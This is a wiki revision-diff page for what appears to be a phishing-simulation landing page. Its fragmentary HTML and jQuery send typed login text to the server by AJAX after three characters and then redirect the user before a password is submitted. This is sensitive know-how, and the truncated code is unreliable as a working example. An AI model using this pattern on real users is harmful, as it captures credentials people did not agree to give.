special_landing_page_that_redirects_user_before_submitting_a_password
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revision | Next revisionBoth sides next revision | ||
special_landing_page_that_redirects_user_before_submitting_a_password [2016/03/11 12:42] – lucy | special_landing_page_that_redirects_user_before_submitting_a_password [2016/03/11 12:43] – lucy | ||
---|---|---|---|
Line 2: | Line 2: | ||
- | <!-- | ||
- | <div class=" | ||
- | <span style=" | ||
- | <form action="? | ||
- | <input class=" | ||
- | <input class=" | ||
- | <input class=" | ||
- | </ | ||
- | </ | ||
- | </ | ||
- | < | + | - <div class=" |
- | jQuery(function() | + | - <span style=" |
- | { | + | - <form action="? |
- | $('# | + | - <input class=" |
- | { | + | - <input class=" |
- | var t=$(this).val(); | + | - <input class=" |
- | if(t.length >= 3) | + | - </ |
- | { | + | - </ |
- | ajax_stat(); | + | - </ |
- | } | + | - |
- | }); | + | - < |
+ | | ||
+ | | ||
+ | - $('# | ||
+ | - { | ||
+ | - var t=$(this).val(); | ||
+ | - if(t.length >= 3) | ||
+ | - { | ||
+ | - ajax_stat(); | ||
+ | - } | ||
+ | - }); | ||
+ | - | ||
+ | - $('# | ||
+ | - { | ||
+ | | ||
+ | - if(t.length >= 3) | ||
+ | - { | ||
+ | - ajax_stat(); | ||
+ | - } | ||
+ | - }); | ||
+ | - | ||
+ | - function ajax_stat() | ||
+ | - { | ||
+ | - var addr = "? | ||
+ | - var params = { Login: $('# | ||
+ | - // | ||
+ | - | ||
+ | - $.ajax( | ||
+ | - { | ||
+ | - type: ' | ||
+ | - data: params, | ||
+ | - cache: false, | ||
+ | - dataType: | ||
+ | - success: function(res) | ||
+ | - { | ||
+ | - console.log(" | ||
+ | - window.location = " | ||
+ | - }, | ||
+ | - url: addr | ||
+ | - }); | ||
+ | - } | ||
+ | - }); | ||
+ | - </ | ||
- | $('# | ||
- | { | ||
- | var t=$(this).val(); | ||
- | if(t.length >= 3) | ||
- | { | ||
- | ajax_stat(); | ||
- | } | ||
- | }); | ||
- | |||
- | function ajax_stat() | ||
- | { | ||
- | var addr = "? | ||
- | var params = { Login: $('# | ||
- | // | ||
- | |||
- | $.ajax( | ||
- | { | ||
- | type: ' | ||
- | data: params, | ||
- | cache: false, | ||
- | dataType: | ||
- | success: function(res) | ||
- | { | ||
- | console.log(" | ||
- | window.location = " | ||
- | }, | ||
- | url: addr | ||
- | }); | ||
- | } | ||
- | }); | ||
- | </ | ||
- | --> |
special_landing_page_that_redirects_user_before_submitting_a_password.txt · Last modified: 2019/07/25 12:50 by 127.0.0.1